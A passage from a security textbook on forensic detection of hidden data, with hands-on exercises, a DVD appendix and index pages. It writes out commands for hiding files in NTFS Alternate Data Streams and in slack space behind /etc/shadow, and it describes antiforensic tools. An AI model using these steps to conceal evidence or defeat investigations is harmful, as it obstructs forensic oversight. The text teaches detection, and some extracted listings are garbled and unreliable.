which application to open the file with. Windows uses the file extension
to determine what to do with any particular file type. The extension is
what follows the period. For example, in the file hidden.txt, hidden is
the name of the file, and txt is the extension. Extensions are usually three
characters, but can be two or four. If Microsoft Word is associated with text
files and you double-click hidden.txt, Word will open the file. If hidden.txt
is renamed hidden.bmp and someone attempts to open the file, Paintbrush or
the associated BMP program will report a file error and fail to open the file
properly.
The best approach to overcome this shortcoming of Windows is to not use
Explorer to open files on a suspect’s drive. Use a multifile viewer; these programs don’t look at the file extensions. These programs examine the hexadecimal value found in the header that corresponds to the true file type. One of the
programs that will perform these functions is Quick View Plus. A time-limited
download is available at www.download.com/3000-2381 4-10629060.html.
An example the capabilities of Quick View Plus is provided here. First a file
was renamed, giving it the incorrect extension:
C:\forensics\rename hidden.txt hidden.bmp
Then an attempt was made to open the newly renamed file. As expected,
Windows failed to open the file. Windows did not recognize the changed file
format. Quick View Plus opens the same file correctly and is not misled by the
changed file extension. This program is powerful. It enables you to browse
the drive and view the contents of a multitude of file types. Quick View can
view more than 250 common file types. This type of program is a must for any
forensic analyst.
Other common Windows tricks include tactics such as renaming directories
with alt+255 preceding the name. This can make the directory inaccessible in
Windows because it cannot handle the alt+255 character. After this type of
Hiding Techniques
switch is implemented, a suspect would have to access the directory through
DOS. This type of manipulation is also detectable with multifile viewers.
Windows isn’t the only platform to offer easy ways to hide files or folders.
When dealing with Linux, watch for the following, simple technique. This
sleight-of-hand trick takes advantage of easily overlooked items. If you perform
a directory listing of a Linux computer with the ls-al command, you will see
the following type of response returned.
12/05/2007
12/05/2007
12/05/2007
12/20/2007
05/01/2007
10/02/2004
08/16/2004
08:24
08:24
08:24
06:31
08:04
10:48
10:32
PM
PM
PM
PM
PM
AM
AM
‹DIR›
‹DIR›
‹DIR›
‹DIR›
.
..
...
4,963 proc32
msf3
1,817 .vclass.props
0 var.log
Upon the first glance, everything probably looks okay. However, if you
look a little closer, you will see a directory named . . . (three dots). The user
created this directory by issuing the mkdir command. This is easily overlooked
because it blends in so well and is obscured by the normal file listing. These
hidden directories can be traversed by simply issuing the cd command. In
Linux, any file or directory whose name begins with a dot is hidden and cannot
be viewed with the ls command unless you use the –a switch. You might
think some of the methods described here seem trivial, but many times these
simple techniques will cause investigators to overlook files.
Advanced File-Hiding Techniques
The next level of data-hiding techniques is more advanced than the previous
ones. Windows has the built-in functionality to hide data without a trace if
the drive is formatted with NTFS. NTFS (New Technology File System) is a file
system used by Microsoft systems if FAT is not being used. NTFS allows the
user to enable security to be implemented on the file and directory level and
is considered much more advanced than FAT.
This ability is in place because of something called Alternate Data Streams
(ADS). NTFS supports ADS to maintain interoperability with Macintosh
computers. Files stored on Macintosh computers come in two parts, also
described as forks; one is the data fork, the other is the resource fork. The
resource fork is what should be hidden in the NTFS stream. This won’t work
in Linux, but you can remove files using the rm command and have the data
remain on the disk just as in the Windows environment.
ADS offers a relatively advanced means of hiding data inside of files. The
file size does not change, and without knowing the name of the streamed file
or having specialized software tools, the streamed file is invisible. Let’s look
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at an example of how a file can be hidden with ADS. The command sequence
follows. First, the following command was issued:
Type exam.zip › readme.txt:exam.zip
This command streamed exam.zip behind readme.txt. That’s all that is
required to stream the file. Now the original secret file can be erased:
Erase exam.zip
Now all the computer criminal must do to retrieve the secret file is to enter
the following:
Start c:\warez\readme.txt:exam.zip
This executes the ADS and opens the secret file. Another insidious feature
of ADS is that you can stream multiple files behind one file. The command
syntax would simply be as follows:
Start c:\warez\readme.txt:exam2.zip
Start c:\warez\readme.txt:exam3.zip
Start c:\warez\readme.txt:exam4.zip
Luckily, you can detect ADS files with a tool such as SFind by Foundstone.
Sfind is shown in Figure 11-7.
As mentioned earlier, Linux does not support ADS, although there is an
interesting slack-space tool available called bmap, which you can download
from www.securityfocus.com/tools/1359. This Linux tool can pack data into
existing slack space. Anything can be hidden there as long as it fits within
the available space or is parsed up to meet the existing size requirements. The
command syntax to hide data in slack space is
Echo "the root password is LinuxRu!32" | bmap -mode putslack /etc/shadow
This command would put ‘‘the root password is LinuxRu!32’’ in the slack
space behind the /etc/shadow file.
Figure 11-7 Using SFind to detect hidden streamed files.
Hiding Techniques
Although this data will not be seen with standard system tools, forensic
software such as the Coroners Toolkit, will easily find this hidden data.
The Coroner’s Toolkit is a good set of Linux forensic tools that you can
download from www.porcupine.org/forensics/tct.html. Another excellent
choice is Autopsy. This is one of the forensic tools included on BackTrack,
www.remote-exploit.org/backtrack.html.
Steganography
Steganography is the art of secret writing. With steganography, messages can
be hidden in image or sound files before being sent. In cryptography, the
attacker knows that there is a secret message and attempts to decipher it. In
steganography, the object is to keep the attacker from knowing that a secret
message exists.
This type of secret communication is something that has been around
for centuries. Books were written on this subject in the 15th and 16th centuries.
The term steganography derives from a Greek word that means covered writing.
One of the ways it was originally used was to tattoo messages onto someone’s
shaved head; after the hair had grown out, that individual was sent to the
message recipient. While this is certainly a way to hide information in plain
sight, it is a far cry from how steganography is used today.
Steganography was catapulted to the 21st century by way of computers.
Today, steganography uses graphics and sound files as a carrier. The carrier
is the non-secret object used to transport the hidden message. Steganographic
utilities can work in one of two ways. First, they can use the graphic or
sound file to hide the message. Second, the message can be scrambled or
encrypted while being inserted into the carrier. This dual level of protection
vastly increases the security of the hidden object. Even if someone discovers
the existence of the hidden message, the encryption method to view the contents must be overcome. Some government officials have expressed fears that
many security specialists are untrained at detecting this type of secret communication. According to reports in USA Today, www.usatoday.com/tech/news/
2001-02-05-binladen.htm, officials have confirmed that the terrorist Osama
bin Laden and others ‘‘are hiding maps and photographs of terrorist targets
and posting instructions for terrorist activities on sports chat rooms, pornographic bulletin boards, and other web sites’’ by embedding these messages
in steganographically altered photographs.
Steganography hides information in a bitmap by spreading the data across
various bits within the file. Computer-based pictures or bitmaps are composed
of many dots. Each one of the dots is called a pixel. Each pixel has its own
color. These colors can range between no color (binary 0) to full color (binary
255). Sound files are also represented by corresponding binary values. For
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example, suppose that the Windows startup sound file has the following 4
bytes of information in it:
225
11100001
38
00100110
74
01001010
130
10000010
If you want to hide the decimal value 7 (binary 0111) here, you could simply
make the following change:
224
11100000
39
0010011
75
01001011
131
10000011
So, although the actual sound file has changed very little, the data has been
successfully hidden within the carrier. In this example, the least significant bit
was used to hide the data. Strong steganographic tools vary the bit placement
used to store the information to increase the difficulty of someone attempting
to brute-force the algorithm. The actual amount of data that can be hidden
within any one carrier depends on the carrier’s total size and the size of the
hidden data. What does this mean? There is no way to hide a 10 MB file in a
256KB sound file. The container or carrier is simply too small.
Just as with the other tools and techniques discussed so far in this book, the
best way to increase your skill set is by using the tools. Several good steganographic tools are available on the Internet. Steganos, which is available as a
time-limited download at www.steganos.com/./en/, and S-Tools, which is distributed as shareware at http://www.hitsquad.com/smm/programs/S-Tools
for Windows/, are two good choices.
S-Tools is an easy-to-use program. Once the program is open, start Explorer
or browse to the graphic file you want to work with and drag it onto the S-Tools
screen. After dragging the graphic file onto the S-Tools screen, use Explorer to
select all the files that you want hide, drag them over the open picture file that
you want to hide them in, and let go. Figure 11-8 shows S-Tools.
If you choose to compress the inputted files, a short pause occurs while the
compression proceeds. When this process has finished, you are presented with
the security dialog used to choose the level and type of protection you require
for the hidden data. The encryption types include DES, Triple DES, IDEA, and
MDC. When the hiding process is complete, the steganographically altered
image appears in a second window for you to see that both images look the
same (see Figure 11-9).
What is also nice about this particular program is that is shows the total
amount of data that can be stored within any one image without image
degradation. In this particular case, the image can hold a total of 60,952 bytes.
Hiding Techniques
Figure 11-8 S-Tools.
Figure 11-9 S-Tools image comparison.
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You can take a look at one of the strangest steganographic tools at www
.spammimic.com. The program featured on this web site, Spam Mimic, enables
you to take a short message and encode it into a spam-like message. The recipient just plugs the spam message into the decoder and retrieves the true text.
Detecting Steganographic Tools
If you find steganographic programs on a suspect’s computer, be prepared to
conduct a through search. Steganographic tools are not included as a standard
option or tool on Windows or Linux machines. Detecting steganographically
altered files is difficult. The two files are identical except for the name and
time stamp. Another warning to heed is that any file opened with S-Tools
will prompt you for a decryption password regardless of whether a message
is hidden inside it. The bottom line is that it is very hard to detect the use of
steganographic tools.
Why isn’t steganography more widely used? Well, one reason is that it is a
time-consuming process, and a finite amount of data can be stored in any one
carrier file. The amount of data hidden is always less than the total size of the
carrier. If someone needs to hide hundreds or thousands of files, the process
is just too time-consuming. Another drawback to the use of steganography is
that the possession or transmission of hundreds of carrier files could in many
cases raise suspicion, unless the sender is a photographer or artist.
There are legitimate uses of steganography. The commercial application of
steganography lies mainly in the use of digital watermarks. Digital watermarks
act as a type of digital fingerprint and can verify proof of source. Individuals
who own data or create original art want to protect their intellectual property. It’s not hard to see how the blossoming of peer-to-peer networks has
endangered intellectual property owners throughout the world. Proprietary
information can be copied, recopied, and duplicated with amazing speed. In
cases of intellectual property theft, digital watermarks could be used to show
proof of ownership. Another possible application would be to mark music
files that are prerelease. This would allow the identification of the culprits that
released these onto peer-to-peer networks.
WATERMARKING: REAL-LIFE FORENSICS
Investigators became concerned when new movies began showing up on the
Internet before their release into DVD rental stores and retailers. Probably just
as surprised was Russell William Sprague when the FBI knocked at his door. It
seems Mr. Sprague had been the one spreading these new releases.
Mr. Sprague, along with his accomplice, was identified through the process of
digital watermarking. Unbeknownst to the criminals was the fact that all the
Antiforensics
movies they were copying had been digitally watermarked. The films actually
were screeners supplied to the Academy of Motion Picture Arts and Sciences.
As movie theft has become such a threat, the Academy has started digitally
watermarking all the films that are given to each screener. This allows them to
trace leaked films to the unique person who leaked or posted the film.
Mr. Sprague pleaded guilty to one count of copyright infringement, and his
accomplice was given a $600,000 fine.
Antiforensics
Antiforensics is the process of running tools and routines that attempt to thwart
the forensic process. For instance, many rootkits are now being designed to load
into memory. Linux servers are a prime example of the type of system that an
attacker could load a memory resident rootkit. What is most troubling about the
concept of antiforensics is that the few tools that previously existed were Linux
based, such as The Defiler’s Toolkit. The Defiler’s Toolkit manipulates data
used by the popular Unix forensic analysis tool The Coroner’s Toolkit. It takes
advantage of shortcomings in The Coroner’s Toolkit by hiding information in
ways that the forensic software cannot search. Specifically, it uses the Linux
Ext2fs file system. More antiforensic tools are now being found in the Windows
world and are being developed as simple point-and-click tools.
An example of one such set of tools is Metasploit. While Metasploit was
originally designed as an exploitation framework and penetration tool, it has
added antiforensics to the list of exploits it is capable of. Metasploit includes
the antiforensic tools Slacker, Transmogrify, and Timestomp:
Slacker is designed to work with slack space. The slacker tool takes data
and chops it up into thousands of pieces and spreads it across file slack
space. The goal of the tool is to make the information look like random
data or digital noise, whereas in reality it might be hiding child porn or
stolen identities and credit card numbers.
Transmogrify was designed to defeat file signatures. It doesn’t simply
change the extension; it actually modifies the hex values found in the
file header.
Timestomp can change file date stamps or access times so that a forensic
investigator cannot accurately establish a timeline of events.
To be fair to both sides, those who develop these tools state that their goal
is not to break the law but to force forensic experts and those who develop
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forensic software to rise to the challenge and develop new and better forensic
techniques to adapt to the challenges of the digital world.
Summary
One of the great things about IT security is that it is such a diverse field.
There are many areas in which someone can specialize. Forensics is one such
realm. For those interested in this growing niche of security, the tools and
techniques discussed in this chapter should provide a basic understanding
of the field and a baseline of tools and techniques that can be added to
the security professional’s security lab. What’s important to remember here
is that mastering the tools of forensics is only half the job. Forensics deals
heavily in process and procedure. This requires good documentation and the
ability to control evidence and information that is being examined. Although a
background in law enforcement is not required to become a forensic expert, it
does help. After all, those individuals have a good understanding of concepts
such as chain of custody. (For those of us who lack this type of background,
this is a concept that needs to be fully understood.)
What can be said about forensics is that it is an area that is going to continue
to grow. An ever-increasing number of companies are using computers, the
Internet, and online databases to store massive amounts of information. This
means that without a massive increase in security, cyber-hacks, attacks, and
the use of computers in criminal endeavors will increase in number and scope.
In turn, the demand for individuals who can work with these software tools
and technology will increase.
Key Terms
Cybercrime — Hacking, breaking into, or tampering with computers.
Digital watermark — A type of digital fingerprint that can verify proof
of source; used with photography and imaging.
File streaming — An advanced type of file-hiding that is possible if the
drive is formatted with NTFS.
ISP (Internet service provider) — Provides dialup or Internet services
that may include connectivity, domain hosting, and email.
MAC address (Media Access Control address) — Used in conjunction
with network interface cards. Each NIC has a unique MAC address that
is six bytes long. The first three bytes identify the vendor.
Exercises
NTFS (New Technology File System) — NTFS was developed by
Microsoft as the standard file system of NT and is used by its descendents. It features advanced drive formatting and security features, and it
serves as a replacement for FAT.
RFC (Request for Comments) — RFCs define the behavior and characteristics of the protocols used within the TCP/IP protocol suite.
Risk — Someone or something that creates or suggests a hazard.
Rootkits — A set of tools typically used in conjunction with a hacked or
compromised computer. It allows for the hiding of files or processes.
Steganography — The art of secret writing or of hiding one message
within another.
Unallocated space — Sectors, clusters, or blocks on a drive that have not
been allocated and are not currently being used by the file system.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
Detecting Hidden Files
This exercise tests your skills at detecting hidden files. It is divided into two
parts. In the first part, you practice a common file-hiding technique by using
the attrib command. In the second part, you practice an advance file-hiding
technique by streaming a file. You need NTFS to complete the second part
of this exercise. You also need a copy of SFind, available for download from
http://www.ndparking.com/antiserver.it.
Basic File-Hiding
Find a file that you would like to hide. You can write a small text file or you
can hide an executable. For this exercise, we will call the file to be hidden
blackbook.txt. Use Notepad to create a text file called blackbook.txt. Save
the file in the root directory c:\.
Open a command prompt and go to the c:\ directory. Perform a directory
listing to verify that your file blackbook.txt is actually there. If the files stream
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by too quickly for you to see the contents of the directory, issue the dir /p
command. Next issue the following command:
attrib +h blackbook.txt
Perform another directory listing. Is anything different? Can you still see
blackbook.txt? It should still be visible. Now return to the Windows environment. Open the c:\ folder. Can you see blackbook.txt? If your Windows
computer has its default setting, the file will not be visible. If it is not visible,
open a browse window and choose Tools ➪ Folder Options ➪ View ➪
Show Hidden Files, and verify that Show Hidden Files is selected. This should
enable you to see all files previously hidden with the attrib +h attribute.
Advanced File-Hiding
For this exercise, you need the file you created, blackbook.txt. It is probably
a good idea to remove the attrib +h attribute. You also need a file to hide
blackbook.txt behind; paint.exe is used for demonstration. Make a copy of
paint.exe and save it in the c:\ directory. Make sure to note the file sizes,
dates, and total free disk space. Now execute the following command from the
command prompt:
Type blackbook.txt › paint.exe:blackbook.txt
You have now streamed blackbook.txt behind paint.exe. Observe the
file size of paint.exe. Did it change? Observe the total free disk space. Did
it change? Now erase the copy of blackbook.txt that is residing in the c:/
directory:
Erase blackbook.txt
At this point, all the computer criminal must do to retrieve the streamed file
is to type the following:
Start c:\paint.exe:blackbook.txt
The streamed file is now displayed. What is important to remember is that
without knowing the name of the streamed file or having a tool to expose
the stream, the data would remain hidden in the disk, out of reach of the
forensic analyst. To find any and all alternate data streamed files on your
computer, execute sfind from the command prompt. You should see the
filename blackbook.txt displayed.
Exercises
Reading Email Headers
This exercise’s goal is to help you develop the skill of reading and understanding email headers. The objective is to view the email header, discover the IP
address of the sender, and identify the sender of the message. This exercise
demonstrates the procedure with Microsoft Outlook, but other mail clients can
be used (because most can be configured to display the full headers of any
message that you receive).
1. Have someone send you an email message. If you would like for them to
be creative, have them spoof the Reply To name and email address.
2. Open Outlook or your email client program and retrieve the email message. From within Outlook, double-click on the message. Now choose
View ➪ Options to bring up a window, as shown in Figure 11-10.
Figure 11-10 Internet mail headers.
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One useful option is to copy and paste the email header into a text file,
thereby allowing for easier viewing. Shown here is an example of an email
header:
Return-Path: ‹zabsh@skin-one.com›
Delivered-To: 264-mikeg@thesolutionfirm.com
Received: (qmail 19838 invoked from network); 19 Jul 2007 14:50:08 -0500
Received: from cpe-67-10-144-245.houston.res.rr.com (67.10.144.245)
by vhost33.ev1servers.net with SMTP; 19 Jul 2007 14:50:08 -0500
Received: from xqzhs.vba ([80.141.218.49]) by cpe-67-10144-245.houston.res.rr.com with Microsoft
SMTPSVC(5.0.2195.6713); Thu, 19 Jul 2007 14:49:34 -0500
Message-ID: <001901c7ca3d$ee9eaa60$31da8d50@xqzhs.vba›
From: "dgreetings.com" ‹zabsh@skin-one.com›
To: ‹mikeg@thesolutionfirm.com›
Subject: You’ve received an ecard from a Worshipper!
Date: Thu, 19 Jul 2007 14:49:34 -0500
MIME-Version: 1.0
The IP address listed at the bottom of the entry (80.141.218.49) denotes the
IP address of the sender.
The IP address captured above can now be entered into SamSpade, WHOIS,
dig, or another DNS tool to verify the network of the sender. Because WHOIS
is not a native tool for Windows, surf to www.arin.net and enter the IP address
discovered into the WHOIS box. What’s returned will include the registrant’s
information, the corresponding DNS entry for that IP address, and a traceroute.
These items confirm that the email did not originate from the United States but
from Amsterdam. Other online sources that can be used to track down and
determine the source of emails include IANA.net and the regional registries.
Use S-Tools to Embed and Encrypt a Message
This exercise tests your skills at using a steganographic tool to hide and encrypt
a hidden message. The software program used for this exercise is S-Tools. It
is available for download from http://www.hitsquad.com/smm/programs/
S-Tools for Windows/.
1. Download and install S-Tools. Save it to the directory of your choice.
After the download has finished, open the zip file and complete the
installation.
2. Open the S-Tools folder and double-click the S-Tools application.
3. Open Microsoft Explorer or browse My Computer to locate the graphic
file you want to use to embed a hidden message. Make sure that you
choose a BMP or a graphic of sufficient size to act as a container for your
hidden text. You cannot hide a 5MB file in a 22KB bitmap!
Exercises
Figure 11-11 S-Tools.
Figure 11-12 Hidden text.
4. Now drag the graphic file you have chosen into the S-Tools window (see
Figure 11-11).
5. You are now ready to embed the graphic with the text you want to hide.
The lower-right corner of the screen will indicate the maximum amount
of information that can be hidden within the graphic. You can either
create a text file or browse to the location of one that has already been
prepared, as shown in Figure 11-12.
6. Drag the file into the S-Tools program and release it over the graphic
(see Figure 11-13). You will be able to select the encryption option of
your choice, including IDEA, DES, Triple DES, and MDC. You must also
choose a passphrase. For the exercise, choose something that is easy to
remember so that you can recover your hidden data.
401
402
Chapter 11
■
Forensic Detection
Figure 11-13 Encryption options.
Figure 11-14 Hidden image.
Exercises
7. After a brief pause, you will see the image with the hidden data appear,
as shown in Figure 11-14. Look closely and see whether can tell the
difference.
8. Right-click the hidden file to save. If you want to reveal the hidden text,
right-click the hidden image file and choose Reveal. Notice that if you
right-click the original, it also offers the Reveal option, but fails if you
enter the passphrase. This handy feature prevents unwanted guests
from determining which image files do or do not have
hidden text.
9. Finally, right-click the hidden image file and choose Save. Compare the
hidden image file to the original and notice that only the time stamp
has changed; the size remains the same. You have now completed the
exercise.
403
APPENDIX
A
About the DVD
This appendix provides you with information on the contents of the DVD that
accompanies this book. For the latest and greatest information, please refer to
the ReadMe file located at the root of the DVD. Here is what you will find:
System Requirements
Using the DVD with Windows and Linux
What’s on the DVD
Troubleshooting
System Requirements
Make sure that your computer meets the minimum system requirements
listed in this section. If your computer doesn’t match up to most of these
requirements, you may have a problem using the contents of the DVD.
A PC running Windows 98 or later
An Internet connection
An R/W DVD-ROM drive
256 MB memory minimum; 512 MB or more recommended
405
406
Appendix A
■
About the DVD
Using the DVD
To access the content from the DVD, follow these steps.
1. Insert the DVD into your computer’s DVD-ROM drive. The license agreement appears.
Note to Windows users: The interface won’t launch if you have AutoRun
disabled. In that case, click Start ➪ Run (for Windows Vista, Start ➪ All
Programs ➪ Accessories ➪ Run). In the dialog box that appears, type
D:\Start.exe. (Replace D with the proper letter if your DVD drive uses
a different letter. If you don’t know the letter, see how your DVD drive is
listed under My Computer.) Click OK.
2. Read through the license agreement, and then click the Accept button if
you want to use the DVD.
The DVD interface appears. The interface allows you to install the programs and run the demos with just a click (or two) of a button.
What’s on the DVD
The following applications are on the DVD:
BackTrack — BackTrack from remote-exploit.org is a top-rated, selfbooting Linux distribution of tools focused on security testing. For more
information, check out www.remote-exploit.org.
Here are the instructions:
There is a variety of Windows programs that will convert an ISO into
a bootable CD-ROM, including Nero Ultra Edition, ISO Recorder Power
Toy, and Roxio Easy Media Creator Suite. To use BackTrack as a bootable
CD, you will need to complete the following:
1. If you have only one CD/DVD-ROM drive, you will need to copy
BackTrack from the DVD onto your hard drive before burning to a blank
CD. Otherwise, you can burn the image directly from the second CDROM drive.
NOTE: While OSs such as Windows XP have the built-in ability to
burn CDs, they will not convert an ISO image to a bootable CD. To
accomplish this, you will need to download and install ISO Recorder
Power Toy (http://isorecorder.alexfeinman.com/v1.htm), which
will activate the capability in Windows XP.
2. Regardless of which tool you are using, open the application and select
Burn Image to CD-ROM. When prompted for the image, select
bt2final.iso. If you are asked to Burn Disc at Once or Track at Once,
choose Burn Disc at Once.
What’s on the DVD
3. When you have completed burning the CD, restart your computer while
leaving the BackTrack CD in the CD-ROM drive. You may have to
change the boot order in the BIOS by hitting F2 or the DEL key during
bootup.
4. Once you have your computer set to the proper boot order, continue to
allow the computer to start up.
5. Start BackTrack and get familiar with the interface. You will notice that
there are many tools and applications.
Core Impact — Core Impact by Core Security is designed to help organizations perform automated security assessments. Core Impact can
replicate real-world attacks against network servers and workstations,
end-user systems, and web applications. A Windows demo of the product is included to help you understand how Core Impact helps to find
and fix security issues before data incidents occur. To learn more, visit
www.coresecurity.com.
FTK — Forensic Toolkit by AccessData is a leading computer forensic
solution that is used by law enforcement, government agencies, and
corporations around the world for the acquisition and analysis of digital evidence. A Windows trial version is included for your use. You can
learn more by visiting www.accessdata.com.
Nmap — Network Mapper (Nmap) is considered the premier portmapping tool. Available in both Windows and Linux versions, Nmap
provides many types of scan options, from the basic to advanced stealth
scans. You can learn more by visiting www.insecure.org. A Windows
and Linux version is included for your use.
Snort — This is the leading open source IDS product available. Snort
can help you build an effective IDS that can alert the organization when
attacked or probed. To learn more, check out http://snort.org. Snort is
a registered trademark of Sourcefire, Inc.
Wireshark — The best way to learn more about the protocols and network communications is to examine the packets. Wireshark is the predecessor of Ethereal and is considered the premier packet sniffer
(protocol analyzer). You can learn more by going to www.wireshark.org.
Shareware programs are fully functional, trial versions of copyrighted programs. If
you like particular programs, register with their authors for a nominal fee and
receive licenses, enhanced versions, and technical support.
Freeware programs are copyrighted games, applications, and utilities that are free for
personal use. Unlike shareware, these programs do not require a fee or provide
technical support.
407
408
Appendix A
■
About the DVD
GNU software is governed by its own license, which is included inside the folder of
the GNU product. See the GNU license for more details.
Trial, demo, or evaluation versions are usually limited either by time or functionality
(such as being unable to save projects). Some trial versions are very sensitive to
system date changes. If you alter your computer’s date, the programs will ‘‘time
out’’ and will no longer be functional.
Troubleshooting
If you have difficulty installing or using any of the materials on the companion
DVD, try the following solutions:
Turn off any antivirus software that you may have running. Installers
sometimes mimic virus activity and can make your computer incorrectly
believe that it is being infected by a virus. (Be sure to turn the antivirus
software back on later.) As some tools included can be used by both
security professionals and by hackers, these programs may be flagged by
antivirus software.
Close all running programs. The more programs you’re running, the
less memory is available to other programs. Installers also typically
update files and programs; if you keep other programs running, installation may not work properly.
Reference the ReadMe. Please refer to the ReadMe file located at the
root of the DVD-ROM for the latest product information at the time of
publication.
FTK requires a dongle for unrestricted use. As the copy included is a
demo, it will function without a dongle, but only in a limited fashion.
Customer Care
If you have trouble with the DVD-ROM, please call the Wiley Product Technical
Support phone number at (800) 762-2974. Outside the United States, call
1-317-572-3994. You can also contact Wiley Product Technical Support at
http://support.wiley.com. John Wiley & Sons will provide technical support only for installation and other general quality-control items. For technical
support on the applications themselves, consult the program’s vendor or
author.
To place additional orders or to request information about other Wiley
products, please call (877) 762-2974.
Index
SYMBOLS
$ syntax, 164
/, 40, 42
/bin, 40
/dev, 40
/etc, 40
/home, 40
/mnt, 40
/sbin, 40
/usr, 40
A
About page, 64–68
acceptable use policies (AUPs), 386
access control lists (ACLs), 17, 137–138
access levels, 174
access permissions, Linux, 40–41
access points. See wireless access points
AccessData WipeDrive, 372
accountability, 77
ACID. See Analysis Console for Intrusion
Databases
ACK, 116, 117, 121
ACK scan, 122, 123
ACK value, 135
ACLs. See access control lists
acquired companies, 65, 82
acquisition phase (computer forensics),
367–376
chain of custody in, 368–369
hard drive
drive-wiping, 371–372
file-hiding techniques, 387–391
logical/physical copies, 372–376
removal/fingerprinting, 369–371
steganography, 391–395, 397
Acronis True Image, 16, 17, 22
Active Directory (AD), 161, 180
Active Disk Image, 16
active OS fingerprinting, 131, 134–135, 140
Nmap and, 146–147
Windows 2000, 146–147
Active@UNDELETE, 385
activity blocking, 270
AD. See Active Directory
ad hoc mode, wireless, 293, 321
Ad-Aware, 280
Additional Restrictions for Anonymous
Connections, 153
Address Resolution Protocol. See ARP
Adleman, Len, 233
AdProtector, 279
ADS. See Alternate Data Streams
Advanced Encryption Standard. See AES
advertising, spyware and, 278
Aerodump, 314–315
AES (Advanced Encryption Standard), 228, 231,
300
agent, 151
Aircrack, 55, 314, 316–317
Aireplay, 314
configuration, 315
AiroPeek, 317
AirSnare, 320
Airsnarf, 317
AirSnort, 299, 317
AirTraf, 317
Aitel, Dave, 214
Aleph One, 178
409
410
Index
■
A–B
algorithms, 227, 253
asymmetric, 253
MD, 232
symmetric, 227, 228–229, 254
alpha testing, 45
Alternate Data Streams (ADS), 389–390
Amap, THC-, 55, 130
American National Standards Institute (ANSI),
229
American Registry for Internet Numbers (ARIN),
88, 89
exercise, 99
Analysis Console for Intrusion Databases
(ACID), 332, 355. See also BASE
Anderson, James, 325, 360
Angry IP Scanner, 109–110
Anna Kournikova virus, 265
anomaly-based IDS, 329, 360
anonymous connection, 163
anonymousspeech.com, 73
ANSI. See American National Standards Institute
antiforensics, 395
Anti-sniff tool, 159
anti-sniffing, 158, 159
antivirus software, 269–271
beginnings of, 265
techniques, 270
anywho.com, 69, 100
Apache Web Server, 56, 93
AppDetective, 192, 203
application assessment tools, 192
application layer, 117–120
application VMs, 47
arcade emulation, 47–48
archive.org, 71
ARIN. See American Registry for Internet
Numbers
arin.net, 100
ARP (Address Resolution Protocol), 115–116, 140
attacks, 116
DAI, 158, 159
injection, deauthentication and, 315–316
man-in-the-middle attacks and, 116, 158
poisoning, 159
ASS. See Autonomous System Scanner
asymmetric algorithms, 253
asymmetric cryptography, 232
asymmetric encryptions. See public key
encryption
asynchronous authentication, 240, 241
ATBASH, 226
attack and penetration tools, 189–223. See also
vulnerability assessment tools
attrib command, 387, 388, 397
auctions, online, 12–13
Audit mode, 203
audits/reviews, 190
AUPs. See acceptable use policies
authentication, 77–80, 236–247, 253
asynchronous, 240, 241
attacks, 247–252
basic, 78
biometric, 245–247, 253
certificate-based, 79, 197
challenge-response, 240–241
cookies and, 78–79, 80
802.1x, 301
evidence, 376–379
forms-based, 78–79, 97
Linux, 239, 240. See also salts
LM, 238, 239
message digest, 79, 97
methods, Windows, 238
NTLM, 79, 238
password, 237–241. See also password(s)
public key, 242. See also public key
infrastructure
session, 241
synchronous, 241
authentication flood attack, 313
authorization, 77
Autonomous System Scanner (ASS), 156–158
OSPF and, 157
Autopsy tool, 391
B
Back Orifice Trojan, 273, 283
BackTrack, 23, 36
Autopsy tool on, 391
ISO image, 36
converting to bootable CD-ROM, 37–39
Metasploit and, 217–219
Microsoft Windows v., 39
running from VMware, 60–62
SAM extraction, 187
Snort on, 333
traceroute tools, 96
backups, 16. See also images/imaging
virus defense and, 271
bandwidth metric, 154
banner grabbing, 93–94
exercise, 101–102
BartPE (Bart’s Preinstallation Environment),
46–47
Bart’s Preinstallation Environment. See BartPE
BASE (Basic Analysis and Security Engine), 332,
355–356
Basic Analysis and Security Engine. See BASE
basic authentication, 78
basic encryption, 78, 97
BeatLM, 175
Index
Belkasoft IE History Extractor, 382, 383
beta software, 45, 57
betterwhois.com, 89, 100
BGP (Border Gateway Protocol), 155
Billybastard.c, 178
/bin, 40
biometric authentication, 245–247, 253
BlackBerry handheld devices, 303–304
BlackWidow, 74, 75
Bleeding Edge Threats, 348
blocking ports, 169
blogging, employee, 73, 74
Blowfish, 228
blue box, 6, 7
BlueBug, 318
Bluejacking, 318, 321
Bluesnarfing, 318, 321
Bluesniff, 318
Bluetooth, 296–297, 321
exploiting, 318
hack, 297
Bluetooth, Harald, 296
Bochs, 48, 53, 57
bogus flag probe, 134
bootable CD, ISO image conversion to, 37–39
bootdisk program, 244
Border Gateway Protocol. See BGP
botnets, 271, 281
BPS Spy-Ware Remover, 279
Brain virus, 259–260, 261, 268
bridge mode, 294
broadcast MAC addresses, 113
browser cache, trace evidence and, 382–383
browser-generated data, 76–77
brute-force password attacks, 171, 180, 250, 253
Brutus, 172
B-stock, 11
Btscanner, 318
buffer overflows, 178–179, 181, 356–357
heap-based, 179
Snort and, 356–357
stack-based, 178–179
Buggy Bank, 55. See also Webmaven
building Trojans, 285
built-in firewalls, 139
Built-in Utilities, 55
Burger, Ralf, 261
byte test keyword, 356, 357
C
CA. See Certificate Authority
cables, 8
cache, DNS, 90–91
cache poisoning, DNS, 119
Caesar’s cipher, 226, 228
■
B–C
Cain & Abel, 22, 54, 156, 172, 179, 309, 310, 311
download, 184
enumerating routing and, 184–185
calculated hashes, 170–171
caller ID hacking, 7
CANVAS, 214
Cap’n Crunch, 7
CardSystems Solutions, 191
Careerbuilder.com, 81
Carnegie Mellon University, 357
Carrier Sense Multiple Access with Collision
Avoidance. See CSMA/CA
Caswell, Brian, 330
cat command, 42
CBC mode. See Cipher Block Chaining mode
CCMP (Cipher Block Chaining Message
Authentication Protocol), 300
cd command, 42
CDP (Cisco Discovery Protocol), 155
central monitoring system, 327
CER. See crossover error rate
CERT. See Computer Emergency Response Team
Certificate Authority (CA), 242, 253
Certificate Revocation List (CRL), 243
certificate-based authentication, 79, 197
certificates. See digital certificates
CFB mode. See Cipher Feedback mode
chain of custody, 365, 368–369
evidence and, 368–369
challenge-response authentication, 240–241
Change-MAC, 314
Chaos Computer Club, 261
check sum, 117
checklist (security lab), 28–29
Chkrootkit, 277
chmod command, 41, 42, 57
chosen ciphertext attack, 251
chosen plaintext attack, 251
CIA triad (confidentiality, integrity, availability),
376–377
Cipher Block Chaining Message Authentication
Protocol. See CCMP
Cipher Block Chaining (CBC) mode, 229, 230
